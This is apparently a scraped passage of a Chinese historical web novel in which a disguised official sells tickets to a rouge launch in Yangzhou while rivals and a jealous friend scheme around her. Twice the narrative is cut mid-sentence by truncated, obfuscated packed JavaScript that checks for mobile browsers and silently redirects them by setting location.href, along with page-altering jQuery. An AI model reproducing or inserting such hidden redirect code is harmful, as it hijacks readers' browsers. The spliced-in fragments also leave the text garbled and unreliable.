飞羽喘了口气，先点点头，示意没事，才说：“明大人无恙。他去了古董店买古玩，又到春棠茶社挑糕点，还买了家胭脂庄。” 他说得平淡，如报流水账。 可落在赵斐耳里，十足冰块落入岩浆里，在他心里噼哩啪啦响。 ——“那关氏要吃扬州春棠茶社的藕粉糖糕，差人日夜兼程送来！番邦妖妇，学什么杨贵妃！” 徐州知县的话闪过他脑海。 哦，是呢！ 那妖妇爱吃春棠茶社的点心嘛。 她不过耍点小性子，“他”就呆呆在船头坐半晚，还不够！今日还东奔西跑的，去买东西哄她开心！ 买古玩给她把玩，买糕点给她尝鲜，还买了一家胭脂庄？ “他”就那么一点点家底，那胭脂庄都挥霍大半了吧！ “砰！” 赵斐一拍桌案。 自己就多余管“他”闲事！ 还陪“他”吹冷风！ 不，不对…… 昨晚那样的好时机，就该给昆玉上眼药！ 劝“他”休了那妖妇！ 赵斐气明桂枝，也气自己，一股酸气直直往胸口涌，涩得头皮发麻。 片刻，他咬了咬牙，追问：“他在哪里？” 飞羽答道：“明大人现下在颜玉庄，跟原东家谈事呢。” “颜玉庄？” “就是明大人新买的胭脂庄。” 赵斐铁青着脸：“既然他没事，我们回客栈吧。” 说完，转身就往外走，步子急得翻起风。 飞羽一句话把他叫住：“明大人邀您去颜玉庄。” “什么事？” “他说江湖救急，要问您借钱。” “借钱？” “五千两。” “不借！” 赵斐咬牙切齿：“一文钱我也不借！” 42.入场券 戌时，夜色浓重。 城南街巷泛着雨后的凉气。 颜玉庄门前挂着两个油纸灯笼，风一吹，左右摇晃，比平日还亮几分。 赵斐被方靖半拖半拽地扯上台阶，皂靴刮过泥泞，靴面蹭了星星点点的泥污。 “五千两，是白花花的五千两银子！” 赵斐被扯得脚步踉跄，“他当我是关若颐？还是许全怡？钱都是搜刮民脂民膏来的？” “是是是，五千两是大数目！” 方靖应和他，又劝道：“可昆玉要是没难处，也不会求到你头上，这回，他怕是真撞上麻烦了。” “奇了，他凭什么认为我一定借他？” 赵斐愈发感觉酸涩：“胭脂庄！他一个男子买什么胭脂？还整个铺子买下来？” 方靖斜睨他一眼，慢悠悠说：“你要真不关心，留在翠韵茶庐嘛，喫茶赏月多自在，何苦跑这一趟？” 赵斐哼了一声，满脸不在乎，可眼底却还是透出一丝焦灼。 他站住脚，抬头望那半旧的招牌。 半晌，方靖早就入到院子里去了，他才低声叹道：“罢了。” 横竖都来了，便看看“他”折腾什么。 …… 庄里，灯火亮堂。 绯色、粉色绸缎挂在竹架上，高高的，灯笼暖光一映，软软泛着光，像浸了颜料的云。 楠木托盘排着胭脂盒子。 洛神粉、海棠红，挨挨挤挤。 风一过，带起一缕脂粉香，混着榆木桌的淡淡桐油味。 仆役们来回奔忙，搬彩灯、抬木牌，人声嘈杂。 明桂枝站在院最中间。 她一身黛青，袖口卷起，额上沁着细汗，鬓发湿落几缕，却顾不上擦，只扬手一指：“那个花架子，往左挪半寸，诶，对对，就那儿！” 才说完，又俯身去理竹架的绸缎。 赵斐斜倚门边，半张脸隐在阴影里，目光却亮得灼人。 他不动，也不说话。 只瞧着明桂枝来回忙碌，不眨一瞬，生怕错过“他”一个身影。 起风了。 院子里，装饰的竹叶沙沙响动。 绸缎轻轻晃，晃得满院光影流转。 明桂枝踩上竹梯，踮着脚，想去够那幅斜了的绸缎。竹梯一歪，“咯吱”一声响。 黛色身影徒然一跌，如枝头芍药将坠。 赵斐三步并作两步上前，手掌稳稳托住“他”的腰。 黛袍透着体温，薄薄一层汗。 “他”衣衫的松木熏香钻进他鼻尖，刹那间，他几乎又坠入荒唐的梦中。 太近了。 两人四目相对，呼吸交错。 近得几乎能听见彼此的心跳。 他看见“他”唇珠上结着个小小的痂。 ……是他那晚的“杰作”。 赵斐心跳霎时漏一拍。 他松开手，迅速别开视线。 “小心点。” 嗓音比平时哑了半度。 明桂枝站稳身子，拍了拍手上的灰，笑道：“多谢，你又救我一命了。” 转身又去支使仆役。 赵斐眼睛还粘在她身上。片刻，他忍不住问：“你借五千两做什么用？” 话里带着酸味，却只有他自己品得出来。 明桂枝转过来，杏眸弯弯的：“原想着请个苏州乐班，再备些春棠茶社的糕点，把发布会办得热闹些。”她指向院子中央的一块牌匾，“如今省了，预售券卖得俏，钱已凑齐。” 赵斐眉头一动。 明桂枝来了兴致，唤来方靖，引着他俩往里头走。 绯涩绸幕映衬她侧颜，红红的，像涂了胭脂。 赵斐看得转不开眼。 “明日新品都摆这儿，”她指着楠木台面，又指了指那些诗牌，“原东家写的，字写得还不错。” 说着，又朝赵斐笑道：“当然，远远不及你的书法好，我本想找你题字，但想起你不爱留墨……” 赵斐打断：“我没有……” 却一下子住了口。 “他”说的是茶寮那次。 他恶狠狠骂“他”惺惺作态。 他还以为“他”要陷自己于不义。 不过是一个月前的事。 竟恍如隔世。 赵斐刹那失神。 方靖掀开一盒胭脂，蹭了蹭，又捻开细看。 “好细的粉质！” 他好奇：“听飞羽说，你打算把秘方公开？” “嗯，辰时迎客，先展示古法制作胭脂。”明桂枝边说边走，“巳时试色，到时，让倩娘作模特儿，我为她化妆。” 她说得仔细，眸里光彩流溢，仿佛已经看见宾客满堂。 “模特儿？” 方靖细问。 明桂枝抿嘴一笑：“就是……范例的意思，给旁人作个样。” 说着，眼睛一亮，“原想着这新品会要冷场，谁曾想，竟有五、六十位愿意验资。” 说着，她从袖中摸出札记。 方靖凑近，瞧见上头密密麻麻记着名姓，每个名字后头都画了圈。 “验资？什么意思？” “意思是：他如果要参加发布会，首先，他要证明有能力买我的胭脂。” “如何证明？” 方靖头一遭听说这样的规矩。 这世道，只有开店的求着客官来买，哪有这般拒客的？ “明日发布会，需携带一千两银票，方可入场。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314012|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方靖眉毛挑得老高：“如此冒犯，竟还有五、六十人愿意？” “可这会场太小，最多只能容纳三十来人。好在，我灵机一动，索性卖预售券，五十两一位，先到先得……”她笑出声，“才半个下午的功夫，卖出三十八张，足足一千九百两！” 方靖啧啧称奇：“这扬州城，哪来的那么多富贵财主！五十两银子呢，就为看个新鲜？”他心算一番，讶异道：“搁城西那地界，能买百来盒上等胭脂了，涂到天荒地老，传给祖孙三代都用不完。” 明桂枝被他逗得“噗嗤”一笑。 赵斐却只听见“倩娘”二字，听到“他”说要为那妖妇画妆。 “你折腾这些，就为讨那妖妇欢心？”声线冷得似冰水泡过。 “妖妇？”明桂枝摆弄着妆奁，闻言顿住：“你说倩娘？关她什么事？” 赵斐一怔，试探道：“你这胭脂庄……不是为她买的？” “确实想让她主事，”明桂枝看向他，眸子清澈坦荡，“不过，我买下这颜玉庄，是另有缘故的。” 赵斐心里松了松，可那股酸劲儿还在。 “那你说道说道，是什么缘故。” …… 亥时的梆子响过。 颜玉庄的账房里，烛火摇曳。 明桂枝摊开一张宣纸，执笔蘸墨。 赵斐立在灯影里，目光虚虚笼着她，耳朵却支棱着。 “我买颜玉庄，事出有因。”她在宣纸上写下“杭州”二字，“杭州的货，要出海。” 她看向赵斐，烛光映着她眸光，亮得惊人。 “允书，你记不记得，我们上回讨论过：宁朝这些年，出口丝绸、瓷器、茶叶这些，换回来巨额白银……” “白银过量流入，造成物价上涨，” 赵斐接口道：“我当然记得，朝廷过度依赖白银，有极大隐患，一旦海外的白银供应中断，就更民不聊生。” 说着，赵斐眉头轻蹙。 他为这迫在眉睫的灾祸忧虑。 却又不禁分心…… 他们的志同道合，他们的默契相同，他的每一种寂寥、烦忧，“他”都能理解。 如果没有昆玉，他该多孤单？ 烛火跳动，屋里影子晃。 明桂枝在宣纸写下“奢侈品”三字，“奢侈品贸易，能解这难题。” “奢侈品？” 赵斐颦眉。 “独特的、稀缺的、珍奇的，华而不实的。”杏眸比星还亮。 赵斐沉吟片刻，忽然瞪大眼，喊一声：“对！” 他心里翻江倒海，惊讶得不行…… 明昆玉这脑子，到底是怎么想出这一招的？ …… 43.舅舅 夜沉了。 烛火一跳一跳，影子爬在宣纸上。 “奢侈品”三字写得工整，但横平竖直都一般粗细，墨色均匀，毫无韵味。 赵斐盯着那字，心里一揪。 “他”从前那手字笔锋如刀，撇捺带风……唉，再也见不着了。 他眸色一黯，没说话。 风漏进来，窗纸“唰刷”声。 窗外，仆役吆喝声远远近近，屋里却静，烛影摇曳，映得三人脸忽明忽暗。 方靖挠头，盯着那三个字，眉头皱成疙瘩。 “昆玉，这‘奢侈品’听着稀罕，咋就能解白银之困？” “仲安兄，”赵斐闻声侧首，“昆玉此策，根子在‘物以稀为贵’。” 方靖依然困惑：“那与银价有什么关系？” “白银过量流入，最大坏处是流到民生货品那处，教百物腾贵，柴米油盐样样涨价，百姓日子便苦得熬不出头。” “确实。” 方靖点头称是。 赵斐继续道：“倘若能引着这些白银，流向那华而不实的‘奢侈品’处，事情就好办。” “原来如此！” 方靖恍然大悟，他问明桂枝：“昆玉，这些‘奢侈品’胭脂，你打算卖什么价？” “五十两，一盒。” “五十两！” 方靖他惊得下巴掉地上：“五十两？一盒胭脂？大少爷，你知道五十两能买多少大米、麦子吗？够寻常百姓一家数口吃用几年了！” 明桂枝不紧不慢捧起茶盏。 “如果……”她拂开茶沫：“是杨贵妃用过的方子呢？” “杨贵妃？哪个杨贵妃？杨玉环？” “嗯，‘云想衣裳花想容’那个。” “唐朝离如今多少百年，你数过了吗？” 方靖揶揄道。 “颜东家说他祖上是华清宫伺候的太监，这方子是那时传下来的……” “太监？太监！”方靖霍地站起身，“太监也有后人？你自己品品你这话！昆玉，你、你叫那姓颜的蒙了！” “养子，他祖上是那太监的养子！” 明桂枝莞尔：“后来，颜家世代做胭脂，改了方子，先帝那会儿也贡过宫里……” 赵斐想起今早看到的旧档：“嗯，确实作过贡品，扬州府衙有档，但因工序繁复、价格昂贵，改选苏绣入贡。” 方靖嘀咕：“唐玄宗、先帝朝，净是老黄历……” “诶，此言差矣。不是老黄历，是‘品牌故事’。” 明桂枝提笔、蘸墨，慢悠悠在宣纸上写，“方子微调，咱就说用回唐朝那个古方，杨贵妃同款。这款胭脂……” 笔一顿，宣纸展开：“就叫‘花想容’！” 赵斐眼睛一亮：“‘云想衣裳花想容’，”他轻叩桌案，“这名字妙到毫巅，既点透颜玉庄的来历，又叫人遐想杨贵妃的倾国美貌。” “名字是好名字，”方靖依然皱眉：“可改个名字，就能卖五十两银子？“ 明桂枝笑着把宣纸摊平，“光改名字，当然不够？” 提笔蘸墨，边写边道：“还得配上匠人的轴劲儿，名人的风头，看得到买不到的心瘾……再加个挑客的门槛。” 宣纸又一展。 只见上头写着：“‘匠人精神’、‘明星效应’、‘饥饿营销’、‘配货制’……” 外头风起。 窗外竹架吱吱，绸缎晃成红雾。 仆役喊：“稳住喽！” 声儿哑，透着困。 …… 瘦西湖畔，风轻。 邗江锦阁雕梁画栋，檀香袅袅，熏得人眼眯。 窗外湖光晃眼，波纹碎成金。临窗雅座，碧螺春冒热气，茶香钻鼻。 蒲承泽锦袍敞开领口，露出脖子上金链子，足有指节粗，镶满红蓝宝石，烛火遗诏，晃得人睁不开眼。他端茶盏，抿一口，脸皱成包子褶，茶盏“咚”一声搁桌上。 坐他对面的，是蒲家的账房先生易亚旻。他瘦高个子，鹰钩鼻，白发披肩，还穿一身褐色袍，远看，似足一只秃鹫。 易亚旻正在给蒲承泽报账目，官话里夹杂大食语，奇的是，他的大食语也不算娴熟，咬字歪歪扭扭，像嚼了半嘴沙子。 湖上船过，桨声哗哗，和应岸边柳条轻晃，本应惬意。 可蒲承泽一掌拍在案上，忿忿道：“一千两验资？他当我是城东那帮番商？”手指头戳着桌面，“我是那驶两三艘破艇，就来大宁混饭吃的货色？蒲家船队要是歇上两天……” 说着，换了腔调，大食语咕噜噜往外冒：“莫说孙有榕那个七品芝麻官，就是府尹倪佑安，”又突然压低声音，“也得提着绍兴老酒来求我！” 易亚旻慢捋胡子，眼眯眯：“那小东家忒狂妄，敢探您的虚实，”顿了顿，“可是，东家您若不去，是不是……显得虚了？” “荒谬！我若去了，岂不显得我傻！”蒲承泽眼一瞪，“老易！明日，你遣几个人到颜玉庄门口盯着，我倒要看看这扬州城有几个傻子，会拿一千两银票去给他验资？到时候蒲爷我好笑话笑话他们！” “遵命。” 易亚旻眯着眼，茶盏里茶叶沉了底，像他沉下的心思。 窗外，湖风吹紧。 须臾，锦绣门帘一掀，进来个微胖脸白的中年人，一身苏绸长袍裹得严实，走起路来腰间玉佩与玉珠相碰，叮叮当当。那玉雕的是灵猴献桃，猴儿眼圆溜溜，桃子饱满得要滴汁，精致得叫人挪不开眼。 蒲承泽眼尖，远远就认出人来，嘴角一扯，起身朝他喊：“顾兄，这儿！” “蒲老弟，别来无恙，别来无恙啊。”来者朗声笑，嗓音圆润。 那人名唤顾万芝，扬州丝绸业的头面人物，手底下绸缎铺子开得满城都是，蒲承泽不少绸缎从他那儿进货。他身后跟着新纳的妾侍，薄纱遮面，但也看得出容颜娇俏。 顾万芝走近，袍子一摆坐下。他挥挥手，那美妾和仆役便退到一旁，站得齐齐整整，如棋盘上的卒子，动也不动。 “托赖，托赖！”蒲承泽笑着回礼，络腮胡一抖，“顾兄，您不是惯去荷月楼的吗？”他坐回椅上，语气随意，像在巷口跟老邻居唠嗑，眼睛却不自觉往顾万芝腰间溜。 顾万芝那灵猴献桃佩用上好的和田籽料，找的名家雕琢，精致得紧。 去年，蒲承泽在瑜宝轩见过，要价一百两，他没舍得买。没多久，就被顾万芝买去了。 这人嘛，有时候就是贱性子。 一百两的时候他觉得不值，到它被卖掉，就怎么看怎么稀罕。 二百两，三百两，出了几回价，他加到五百两，顾万芝也不卖。 害他回回看见，回回眼馋，夜里做梦都想着摸一摸，偏偏顾万芝宝贝得紧，连借来看一眼都不肯。 烛火柔和，窗外垂着几枝柳条，像谁随手画的淡墨。 “今儿约了几位友人小聚，”顾万芝解下那玉佩把玩，慢悠悠道：“对了，也有老郑，他选的邗江锦阁。”说完，呷一口茶，眼角笑纹一漾，似笑非笑。 “老郑？郑昌融？”蒲承泽一怔，手指顿在茶盏边。 这郑昌融是扬州漕帮龙头，原本只揽大运河的货，这几年人强马壮，也盯着海外贸易。他跟蒲承泽既过搭伙，又拆过台，真可谓：难为知己，难为敌。 蒲承泽撇嘴，语气酸溜溜：“顾兄既约了郑爷，怎不把小弟也约上？”话落，抓起茶盏就往嘴里灌，咕嘟一口，烫得他“嘶”一声咧嘴。 “也不是啥要紧事，” 顾万芝摩挲玉佩，笑道：“今儿个，咱几个碰巧都买了颜玉庄那劳什子……” 他皱了下眉，“那什么、什么‘发布会’的入场券，聊得投机了，索性约个晚宴。” “入场券？” 蒲承泽手一抖，茶盏差点脱手。 “不是验资一千两就成么？”他瞪着眼，声音里带急，像是被这话戳了一下。 顾万芝眼里闪过一丝狡黠：“验资的人太多，颜玉庄的新东家怕明日接待不来，恐招待不周，便放了三十张入场券……”他捧盏拂茶沫，“五十两一张呢，一眨眼就抢光，不得已又添了八张。” 蒲承泽一听，眼珠子瞪得溜圆，他强压住心头那股子急火，“啧啧”两声：“五十两银子！就为看个新鲜？”话音里掺着讥诮，“顾兄啊顾兄，您的银子就算是大风刮来的，也花得太冤了！” 说完，他哈哈一笑，扭头朝易亚旻挤挤眼，眼神里分明在说：“瞧瞧，这帮傻子。” 顾万芝不恼，眯眼一笑：“蒲老弟啊，这入场券买的可不单是个热闹。” 蒲承泽眉角一抬，待他往下说。 可顾万芝愈发慢条斯理，“你想想，能花五十两进场的，哪个不是扬州城里数得着的富贵主儿？就算发布会没啥稀奇，结识几个贵人也是值当的。” 他声音高了些，如同炫耀：“今儿晚宴小聚的，就有丰登粮行的老詹、泉韵茶坊的杨员外……喏，还有苏州绮绣坊的罗翁。” “苏州绮绣坊！”蒲承泽眼睛“唰”地亮了，身子猛往前一探，差点带翻茶盏。 “您说的罗翁……”他嗓子眼发紧，声儿都变了调，“莫不是‘锦魁’罗绍环？” 顾万芝点点头，捧盏慢啜一口茶。茶汤清澈，映得他眼底泛光。 蒲承泽闻言喜色难掩，抓起茶壶就要为顾万芝添茶，手指却激动得发抖，茶水洒出几滴，落在桌上，晕开如墨水渍。 他堆着笑，一开声，嗓音都打着颤。 “顾兄啊顾兄，这……” 要说这苏州绮绣坊的名头，蒲承泽烂熟于心。 那可是绸缎行家里的头把交椅！从生丝到成品缎子，样样俱全。 尤其是那融光缎，独一无二，年年都往宫里送。那料子摸着跟捧了朵云似的，放在光下头还能泛出七彩的晕。 绮绣坊所有绸缎都有典故，只要挂上绮绣坊的名，到了海外，价格就能翻上几倍。 名副其实的金漆招牌。 而这一切的关键，便是罗绍环，人称“锦魁”的绸缎业行尊。 这位“锦魁”老爷白手起家，一手把绮绣坊拉扯到今日这般光景，可偏偏是个不爱见人的主儿。除了衙门和织造司必要的应酬，寻常宴席根本请不动他。 蒲承泽做绸缎生意多年，深知这其中的利害，若能搭上绮绣坊的线，他何愁不飞黄腾达？如今能见着他一面，对蒲承泽来说，无异是天赐良机。 这是花百两、千两都买不来的机缘！ 想到这儿，蒲承泽实在按捺不住。他陪着小心，试探开口：“顾兄，您看……这晚宴能不能捎带小弟一个？”眼珠子直勾勾盯顾万芝，生怕错过他一丝表情。 “哦？” 顾万芝眼皮子一撩，不咸不淡地应了一声。 “您看，郑爷、老詹，还有杨老爷，我和他们都是老相识了……”蒲承泽急吼吼搬出这些个熟人，挤出满脸笑。 顾万芝眉毛一挑，还是那个似笑非笑的表情。他茶盏一搁，身子往后靠：“懂了。” 蒲承泽心跳如擂鼓，屏住呼吸。 片刻，只听得顾万芝轻笑一声，直截了当地点破：“你想结识罗翁嘛。” 蒲承泽霎时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15340125|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸红了几分，他干笑两声，粗糙的大手不自觉地搓了搓。 “顾兄是明眼人，”他话里掺着三分自嘲，加七分艳羡，“小弟仰慕罗翁已久，可惜一直没这个福分得见，”说着身子不自觉地往前探，双眸闪金光，那股子热切劲儿藏都藏不住。 “若顾兄能引荐一二……” 顾万芝一笑，茶盏往他跟前一推。 蒲承泽忙不迭抄起茶壶、添茶，比店小二还麻利。他堆起满脸笑容，想掩饰内心的局促，可眼底的热切却怎么也遮不住。 “我还当……”顾万芝端起盏一抿，“蒲老弟早买了入场券呢。” 蒲承泽一愣，笑容凝在脸上。 顾万芝不依不饶，“今个儿，愚兄远远瞧见你打颜玉庄出来呢。”说话间，他揉搓那灵猴献桃佩，带着几分戏谑看向蒲承泽。 仿佛嘲笑他又一次错失宝物。 蒲承泽盯着那玉佩，眼角蹙了又蹙。 终还是深吸口气，压下不忿。 “小弟远远不及顾兄慧眼如炬，您看今晚这宴……” “叮！” 顾万芝屈指弹了下玉佩，清越玉磬声悠悠荡开。 他放下茶盏，慢条斯理地说：“不是愚兄不肯带你……”他眸里戏谑更添几分，“只是，咱们都是五十两买个热闹，连眼都不眨的主儿，你没那入场券……颇有些志不同、道不合，”手指在玉佩上描了个圈，“愚兄怕话不投机，扫了你的兴。” 蒲承泽狠狠咬牙，络腮胡都抖了抖。 “呐，愚兄点条明路你走……”顾万芝看他真的气上了，便笑笑宽慰道：“罗翁午后才到的颜玉庄，原也是买不着券的。”他压低嗓门，仿佛说书人讲到关键处：“他那张券啊，是花三百两找釉彩阁余员外买来的，豪气吧！” 蒲承泽眸色又重新亮起。 “这事儿，在行家里都传遍了呢，一时佳话，一时佳话呀！” “三百两……”蒲承泽像抓住救命稻草，叹了口气：“不贵，不贵！” 顾万芝优哉游哉接话：“你要是也能高价买来一张……”手指在桌上轻敲，“你跟罗翁不就更有话聊了？” 蒲承泽闻言一笑，瞬即脸色一僵。 他颓然丧气：“眼下，还哪有人愿意出让那券？咱谁也不欠那几百两。” 顾万芝见状，嘴角一扬，“愚兄好人做到底吧……”他指往窗外一侧，“那颜玉庄的新东家，是京城来的贵人，眼下就住在栖云雅阁，巧了不是，离这儿也就几步路。” 窗外，柳条轻摆声、船桨划水声传来，像低声耳语。 远远地，能看到栖云雅阁灯火莹莹。 蒲承泽连忙起身，匆匆朝顾万芝拱手：“顾兄，这人情我记下了！” “慢着！” 顾万芝叫住他。 “嗯？” “你记不记得，织造司的关若颐有个大食小妾？” “波斯的。” 蒲承泽轻轻叹气。 大食人、波斯人、罗刹人，在他们看来都一个样是吧？ 顾万芝问他：“我记得，当年是你送给关若颐的？” 蒲承泽皱眉：“怎的提前这桩？” “那小妾不是生了个女儿么？” 顾万芝扯他坐下，给他添茶：“搭上了倪大人的公子、后来又被送到徐州教坊的那个……” “我记得，她又怎么了？” 蒲承泽当然记得这关氏女。 她接连几桩事，搅得苏州、徐州满城风雨，搅得倪佑安连他也恨上，说若非他当年献那波斯女给关若颐，哪来得这妖妇？ 害他次次出海，总要被苏州府查账。 “愚兄多指一条路给你，”顾万芝附他耳边，细声说：“你那世侄女呀，如今被那贵人买去了，二千两买的呢，眼下受宠得很呢。” 蒲承泽转头，瞪着眼看他：“什么？” “你可知那贵人是谁？” “是谁？” 顾万芝又附过来：“新科状元明桂枝，即将上任的杭州市舶司使。” 蒲承泽倒吸一口气，眼中光亮得似火。 “这条线若你搭得上，”顾万芝拍拍他肩膀：“往后，你设宴，怕是罗翁也不敢不赏脸呀！” …… 夜色渐浓，栖云雅阁里烛光摇曳。 明桂枝三人推门而入，脚步声轻轻回响，带着几分倦意。 明桂枝伤寒未愈，步伐慢些，她扶着酸枝木桌缓缓坐下，脸色苍白得像窗外的月光。 赵斐紧挨她身旁，目光总往她脸上扫，那眼神，像捧着易碎瓷器，想碰又不敢碰。 方靖走在最前，披风往椅背上一甩，皱巴巴地搭在那儿。他嘴角一咧，刚想抖个机灵打破这沉闷。 不虞门帘一掀，侍墨提着盏小灯进来，“明大人，”他望着赵斐，一脸为难：“有客求见。” 赵斐眉头一皱，语气夹着警惕：“是县衙来人？” 侍墨摇头，答得干脆：“不是。” “让他明日再来吧。”赵斐断然吩咐，语气透出几分不悦。 他转头看向明桂枝，声气却软得像三月柳絮，“都亥时了，哪有这时才登门？你伤患未好，明天还要忙……” 说着，他瞧见见她眼下青影，心下一急，催道：“早点休息。” 明桂枝也是累极，刚想应好，却见侍墨欲言又止。 “侍墨，怎么了？” 她问。 “关娘子说，” 侍墨看向赵斐，无奈叹气：“那人是她娘家舅舅，有急事相求，希望明大人能一见。” …… 44.胆怯 子时。 栖云雅阁，天字一号客房。 绯色纱帐软得像水。 熏炉飘出一缕烟，混着关倩兮蔷薇香膏的香，甜腻又苦涩。 明桂枝斜倚床头，眼皮子耷拉着，不住打呵欠。 关倩兮背对着她，对着铜镜摘下钗环，“叮叮当当”落在桌上。长发散下来，黑得发亮，绿眼珠子让烛光一照，像深潭起涟漪，晃荡荡的。 “你娘亲不是波斯人么？”明桂枝有一下、没一下揉太阳穴，“怎么舅舅会是大食人？” 关倩兮正摆弄那金链子。 蒲承泽送的，指节粗，沉甸甸压手心。 闻言绿眸瞪圆，讶道：“你分得清波斯和大食？” 她想起倪家的碎嘴，时而骂她“波斯胡姬”，时而唤她“大食舞嬢”。 横竖是个“番邦妖妇”跑不了。 嘴角一撇，带着点涩。 “我不是要去市舶司当差嘛，自然得分清：大食商队贩胡椒、豆蔻，波斯人擅制绒毯，罗刹国的琥珀、蜜蜡最好……” 明桂枝如数家珍。 关倩兮叹道：“你是个明白人。” 明桂枝追问：“所以，那蒲承泽，不是你舅舅吧？”声音慢悠悠，像早有了答案。 窗外雨脚密了。 “啪嗒”、“啪嗒”。 烛火被风吹得一歪，影子晃了晃。 关倩兮愣了一瞬，金链子“咣当”一声砸妆台上。 “舅舅？哪门子的舅舅！”她起身，绿眸一眯：“当年就是他，把我娘塞给那死老鬼，听说送了一船女人，波斯的、大食的、罗刹的，个个都是他‘表妹’！” 语气轻蔑，毫不掩饰对蒲承泽的鄙夷。 明桂枝笑了笑：“这人也是滑稽，哪来这么多五湖四海的‘表妹’？” 关倩兮抄起搭在屏风上的绛红衫子，抖开来比在身上。 绸衣料子轻，飘乎乎地荡。 “不过是从人牙子手里买来各族女子，塞给官人们当玩物。” 她冷笑道：“我娘……正是其中一个‘波斯表妹’！” 明桂枝点点头：“原来如此。” 她想起方才蒲承泽的话。 他说，就当是他出二千两赎的关倩兮。如此一来，她便能顶个良家名头做妾，总强过“买来的”这三字压身。 明桂枝捏着簇新的银票，心想：无论蒲承泽出于什么目的，这主意，对关倩兮是好的。 “既然他不是你舅舅，承了赎你的名义就行，这银票我还给他吧，不能让他破费。” 她语气笃定，带着固执的温柔。 关倩兮猛转身，裙摆一甩，扇得烛火晃动。 她一把抢过银票，喊道：“不准！” 绿眸瞪得圆，像要冒火。 “可是，无功不受禄……”明桂枝说得诚恳，带了几分书呆子气。 “这钱是赔给我娘的！”关倩兮拔高了声，“要不是他把我娘献给那死老鬼，我娘哪会受苦？” 银票攥得指节得发白。 明桂枝低头轻叹，没吭声。她心里盘算：罢了，回头私下还给蒲承泽吧。 又抬头瞧关倩兮，打趣说：“那这金链子还他，太俗气，配不上你。”她指指那链子，笑得像个顽童。 关倩兮斜她一眼，手晃着粗链子，宝石闪得人眼花。 “呆子，他巴不得我戴上呢！” “为何？” “这项链样式，一看便知是他惯戴的……明儿‘发布会’我若戴上，扬州城谁还不知道你认了这门亲？” 她笑得冷冽：“他漏液送来二千两，不就为了这桩？” 明桂枝望着那晃眼的金光，长长叹一声。心想，这官场里的弯弯绕，自己真不如关倩兮玩得明白。 眼皮子越来越沉，外头雨声渐渐远了，像隔着一层棉花。 关倩兮背对床榻，手里捏着一件粉色的衣裙，又换了件绿的，对着铜镜比来比去。 她侧过头，声音轻快：“是这件粉的娇俏？还是绿的更衬我眼睛？” 她连问几声，屋里却静得像没人，只有雨声应和。 一回头，明桂枝早已歪在枕上熟睡，呼吸轻浅，黑眼圈乌青，刺得人心疼。 关倩兮手一松，衣裳“啪嗒”掉脚踏上。 她轻手轻脚到床边，把被角掖到明桂枝下巴颏，想抚她脸颊，可指尖悬了片刻，终究没落下去。 雨声渐细，像夜在低语。 关倩兮侧着伏在明桂枝身边，静静看她睡颜，心头涌上一丝酸。 她想起倪二郎，那个让她心动过、又寒心的男人。 去岁秋冬，她跪着求他接济她嫡母，哪怕就帮忙请个大夫也好……他推三阻四，敷衍得叫人生厌。 可今晚，明桂枝明明知道蒲承泽不过是个“挂名舅舅”，明明累得眼皮打架，还是陪她周旋到底，陪她演完这出“认亲”的戏。 没半点不耐。 她搂着明桂枝脖子，鼻尖抵在她颈侧。 “傻子，”她低声喃喃，“你……对谁都心软的吗？” “嗯……” 对方熟睡着嘟囔。 “赵斐呢？” 关倩兮盯着她唇瓣的结痂看，声音比窗外雨还轻。 “你对他，也有这么好？” 雨还在下，淅淅沥沥，像在替明桂枝回答。 熏炉烟气袅袅，模糊了关倩兮视线，却遮不住她心里的涩。 …… 栖云雅阁门院处， 灯笼光影昏黄，像蒙上一层薄雾。 蒲承泽迈出门槛，心里头美得很。 原想着那新科状元要摆谱，要拿乔，没成想这般好相与。 蒲家船队再大，终究是个买卖人。孙知县打个喷嚏，他都得赔笑递帕子。 他自然明白，自己没什么特别，能让人家五品的官人高看一眼。 全是托关氏的福。 呵，好个“外甥女”！ 他摸着络腮胡暗笑：是个有本事的！比她娘强不少。 哼，倪佑安不是恨他么！爷搭上杭州市舶司的线了！ 想起倪佑安那张老脸，他心头一阵痛快：姓倪的，爷往后不伺候了！明个儿，他就把船队往杭州挪，再不看那老匹夫的脸色。 蒲承泽越想越欢喜，却叫赵斐一声“留步”钉在原地。 一转身，便见那黑面神站台阶上，眸光比夜色还冷。 蒲承泽笑着作揖，“赵大人，有何吩咐？” “杭州市舶司的事，你少打主意。”那人袖着手站在廊下，话里结霜：“我太府寺的人，也不是吃素的。” “当然，当然！” 蒲承泽一脸恭顺，转头扎进夜幕中。 …… 门内，方靖探出身子，倚着影壁，朝地上啐了一口。 “呸！关娘子在徐州那么许久，也没见这位舅舅露面，如今昆玉把她赎了，他倒跑来认亲，假仁假义！”语气里满是瞧不上，又叹息：“关娘子也是命苦，身边净是奸兄恶舅！” 赵斐冷哼一声。 他想起那张二千两的银票，还有那条俗气的金链子，心里一阵腻味。 “不是一家人，不进一家门。” …… 申时二刻，瘦西湖畔。 荷月楼，天字号雅间。 窗外，荷叶摇曳，湖水映月，银光碎了一水。 室内珍馐满盘，屏风后，隐约传来胡琴低吟。 东家们围坐，锦袍玉佩，笑声此起彼伏。 酒过三巡，丝韵轩东家顾万芝捏着酒盅，笑道：“今天那花海，衬着满院的绸缎架子，妙！搭得妙！远看，像云霞落了地，近看才知是掺了金线的绸缎……” 